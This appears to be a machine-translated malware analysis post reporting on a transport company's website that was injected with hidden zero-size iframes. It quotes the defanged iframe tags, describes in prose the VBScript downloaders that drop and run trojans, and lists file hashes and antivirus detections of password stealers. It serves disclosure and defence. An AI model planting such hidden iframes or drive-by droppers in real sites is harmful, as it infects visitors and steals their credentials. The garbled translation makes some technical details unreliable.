A city long transportation Group Limited company website was mounted trojan Trojan. psw. jhonline. FCD, etc.

EndurerOriginal

1Version

Code added to the first part of the homepage of the website:
/--------
<IFRAME src = hxxp: // G *** M *** 06. Z *** KD *** 5366cn/k1_1_k1_k/wm.htm width = 0 Height = 0> </iframe>
<IFRAME src = hxxp: // www. y * x *** GM *** 7 * 8.com/mh/mh.htm width = 0 Height = 0> </iframe>
<IFRAME src = hxxp: // www. y * x *** GM *** 7 * 8.com/mh/wow.htm width = 0 Height = 0> </iframe>
<IFRAME src = hxxp: // www.2 *** s *** s.com/qq/pop.htm width = 0 Height = 0> </iframe>
--------/

Code added to the central part:
/--------
<IFRAME src = hxxp: // ll78.com/qq/2.asp width = 0 Height = 0> </iframe>
<IFRAME src = "hxxp: // ll78.com/index1.asp" width = 0 Height = 0> </iframe>
<IFRAME src = "hxxp: // ll78.com/xiao.htm" width = 0 Height = 0> </iframe>
--------/

1. hxxp: // G *** M *** 06. Z *** KD *** 5366cn/kkk/wm.htm

Contains VBScript programs encrypted with escape (). The function is to use Microsoft. XMLHTTP and SCR accept pting. fileSystemObject downloads the file 1.exe and saves it as % Temp %/asde.exe. Use shell. use the ShellExecute method of the Application Object Q.
/--------
File Description: D:/test/1.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 22:45:52
Modification time: 22:45:54
Access time:
Size: 59121 bytes, 57.753 KB
MD5: 10988f09828498af6c511bc1df294791
--------/
Kaspersky reports:Backdoor. win32.agent. Aex

2. hxxp: // www. y * x *** GM *** 7 * 8.com/mh/mh.htm

It contains the VBScript program. The function is to use Microsoft. XMLHTTP and SCR unzip pting. FileSystemObject to download the mh.exe file, save it as % Temp %/ie601.com, and run it using the ShellExecute method of Shell. Application Object Q.
/--------
File Description: D:/test/mh.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 22:50:30
Modification time: 22:50:32
Access time:
Size: 20480 bytes, 20.0 KB
MD5: 249bbfd18001ff78d14e0b8d7bfb4596
--------/

Use UPX 0.89.6-1.02/1.05-1.24-> Markus & Laszlo shelling

Kaspersky reports:Trojan-PSW.Win32.OnLineGames.fb

Scanned file: mh.exe-infected

Mh.exe-infected by Trojan-PSW.Win32.OnLineGames.fb Statistics: Known viruses: 266800 Updated: 11-2-2007 File size (Kb ): 20 Virus bodies: 1 Files: 1 Warnings: 0 Archives: 0 Suspicious: 0

Rising news:Trojan. psw. jhonline. FCD

3. hxxp: // www. y * x *** GM *** 7 * 8.com/mh/wow.htm

It contains the VBScript program. The function is to use Microsoft. XMLHTTP and SCR firewall pting. FileSystemObject to download the wow.exe file, save it as % Temp %/ie603.com, and run it using the ShellExecute method of Shell. Application Object Q.

/--------
File Description: D:/test/wow.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 22:50:47
Modification time: 22:50:48
Access time:
Size: 45056 bytes, 44.0 KB
MD5: f6d6c2e4bb78416e9e74638be1fc4a8d
--------/

Use bero shelling
Kaspersky reports:Trojan. win32.agent. abf
Dr. Web reports:Trojan. havedo

Hxxp: // www.2 *** s *** s.com/qq/pop.htm
Hxxp: // L * l *** 7 * 8.com/qq/2.asp
Hxxp: // L * l *** 7 * 8.com/index1.asp
Hxxp: // L * l *** 7 * 8.com/xiao.htm

The page cannot be found.